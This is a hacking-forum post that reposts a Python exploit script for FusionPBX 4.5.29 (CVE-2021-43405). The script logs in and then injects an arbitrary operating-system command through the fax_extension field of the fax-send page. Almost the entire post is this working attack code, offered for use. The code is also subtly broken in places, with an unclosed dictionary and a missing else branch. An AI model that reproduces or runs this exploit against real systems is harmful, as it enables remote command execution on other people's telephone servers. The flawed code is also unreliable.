Jump to content
  • Hello visitors, welcome to the Hacker World Forum!

    Red Team 1949  (formerly CHT Attack and Defense Team) In this rapidly changing Internet era, we maintain our original intention and create the best community to jointly exchange network technologies. You can obtain hacker attack and defense skills and knowledge in the forum, or you can join our Telegram communication group to discuss and communicate in real time. All kinds of advertisements are prohibited in the forum. Please register as a registered user to check our usage and privacy policy. Thank you for your cooperation.

    TheHackerWorld Official

FusionPBX 4.5.29 - Remote Code Execution (RCE) (Authenticated)


Recommended Posts

# Exploit Title: FusionPBX 4.5.29 - Remote Code Execution (RCE) (Authenticated)
# Date: 11/08/2021
# Exploit Author: Luska
# Vendor Homepage: https://www.fusionpbx.com/
# Software Link: https://github.com/fusionpbx/fusionpbx
# Version: < 4.5.30
# Tested on: Debian
# CVE : CVE-2021-43405

import requests
from requests_toolbelt.multipart.encoder import MultipartEncoder
import argparse

cookies = {'PHPSESSID': '31337'}
proxy = {'http': ''}

def login(url, username, password):
    data = {
        'username': username,
        'password': password
    r = requests.post(url + '/core/user_settings/user_dashboard.php', data=data, cookies=cookies)
    return r.status_code

def exploit_request(url, cmd):
    print('[+] Sending Exploit Request')
    mp_encoder = MultipartEncoder(fields={ 'fax_subject': '1337', 'fax_extension': f';{cmd} #', 'action': 'send', 'submit': 'send' })
    r = requests.post(url + '/app/fax/fax_send.php', cookies=cookies, headers={'Content-Type': mp_encoder.content_type}, data=mp_encoder, proxies=proxy)
    return r.status_code

def exploit(url, username, password, cmd):
    if login(url,username,password) == 200:
        print('[+] Login Successful')
        exploit_request(url, cmd)
        print('[+] Exploit Sucessful')
        print('[-] Login Failed')

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='[*] FusionPBX < 4.5.30 Remote Code Execution | CVE-2021-43405')

    parser.add_argument('-t', metavar='<target/host URL>', help='Target/host URL, example:', required=True)
    parser.add_argument('-u', metavar='<user>', help='User to login', required=True)
    parser.add_argument('-p', metavar='<password>', help='User\'s password', required=True)
    parser.add_argument('-c', metavar='<cmd>', help='Command to be executed', required=True)
    args = parser.parse_args()

    target = args.t
    user = args.u
    password = args.p
    cmd = args.c

    exploit(target, user, password, cmd)
Link to post
Link to comment
Share on other sites


discussion group

discussion group

    You don't have permission to chat.
    • Recently Browsing   0 members

      • No registered users viewing this page.
    • Create New...